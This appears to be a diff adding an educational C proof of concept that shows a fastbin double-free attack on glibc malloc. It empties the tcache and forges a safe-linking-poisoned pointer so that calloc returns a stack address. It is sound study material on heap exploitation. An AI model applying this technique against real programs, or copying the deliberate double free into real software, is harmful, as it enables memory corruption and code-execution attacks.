|
| 1 | +#include <stdio.h> |
| 2 | +#include <stdlib.h> |
| 3 | +#include <assert.h> |
| 4 | +#include <unistd.h> |
| 5 | + |
| 6 | +int main() |
| 7 | +{ |
| 8 | + setbuf(stdout, NULL); |
| 9 | + |
| 10 | + printf("This file extends on fastbin_dup.c by tricking malloc into\n" |
| 11 | + "returning a pointer to a controlled location (in this case, the stack).\n"); |
| 12 | + |
| 13 | + unsigned long stack_var[4] __attribute__ ((aligned (0x10))); |
| 14 | + printf("The address we want calloc() to return is %p.\n", stack_var + 2); |
| 15 | + |
| 16 | + printf("Allocate buffers to fill up tcache and prep fastbin.\n"); |
| 17 | + void *ptrs[7]; |
| 18 | + |
| 19 | + for (int i=0; i<7; i++) { |
| 20 | + ptrs[i] = malloc(8); |
| 21 | + } |
| 22 | + |
| 23 | + printf("Allocating 3 buffers.\n"); |
| 24 | + int *a = calloc(1,8); |
| 25 | + int *b = calloc(1,8); |
| 26 | + int *c = calloc(1,8); |
| 27 | + printf("1st calloc(1,8): %p\n", a); |
| 28 | + printf("2nd calloc(1,8): %p\n", b); |
| 29 | + printf("3rd calloc(1,8): %p\n", c); |
| 30 | + |
| 31 | + printf("Fill up tcache.\n"); |
| 32 | + for (int i=0; i<7; i++) { |
| 33 | + free(ptrs[i]); |
| 34 | + } |
| 35 | + |
| 36 | + printf("Freeing the first chunk %p...\n", a); |
| 37 | + free(a); |
| 38 | + |
| 39 | + printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); |
| 40 | + |
| 41 | + printf("So, instead, we'll free %p.\n", b); |
| 42 | + free(b); |
| 43 | + |
| 44 | + printf("Now, we can free %p again, since it's not the head of the free list.\n", a); |
| 45 | + /* VULNERABILITY */ |
| 46 | + free(a); |
| 47 | + /* VULNERABILITY */ |
| 48 | + |
| 49 | + printf("In order to use the free list for allocation, we'll need to empty the tcache.\n"); |
| 50 | + printf("This is because since glibc-2.41, we can only reach fastbin by exhausting tcache first."); |
| 51 | + printf("Because of this patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=226e3b0a413673c0d6691a0ae6dd001fe05d21cd"); |
| 52 | + for (int i = 0; i < 7; i++) { |
| 53 | + ptrs[i] = malloc(8); |
| 54 | + } |
| 55 | + |
| 56 | + printf("Now the free list has [ %p, %p, %p ]. " |
| 57 | + "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); |
| 58 | + unsigned long *d = calloc(1,8); |
| 59 | + |
| 60 | + printf("1st calloc(1,8): %p\n", d); |
| 61 | + printf("2nd calloc(1,8): %p\n", calloc(1,8)); |
| 62 | + printf("Now the free list has [ %p ].\n", a); |
| 63 | + printf("Now, we have access to %p while it remains at the head of the free list.\n" |
| 64 | + "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" |
| 65 | + "so that calloc will think there is a free chunk there and agree to\n" |
| 66 | + "return a pointer to it.\n", a); |
| 67 | + puts("Note that this is only needed for calloc. It is not needed for malloc."); |
| 68 | + stack_var[1] = 0x20; |
| 69 | + |
| 70 | + printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); |
| 71 | + printf("Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); |
| 72 | + printf("^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); |
| 73 | + unsigned long ptr = (unsigned long)stack_var+0x10; |
| 74 | + unsigned long addr = (unsigned long) d; |
| 75 | + /*VULNERABILITY*/ |
| 76 | + *d = (addr >> 12) ^ ptr; |
| 77 | + /*VULNERABILITY*/ |
| 78 | + |
| 79 | + printf("3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); |
| 80 | + |
| 81 | + void *p = calloc(1, 8); |
| 82 | + |
| 83 | + printf("4th calloc(1,8): %p\n", p); |
| 84 | + assert((unsigned long)p == (unsigned long)stack_var+0x10); |
| 85 | +} |
0 commit comments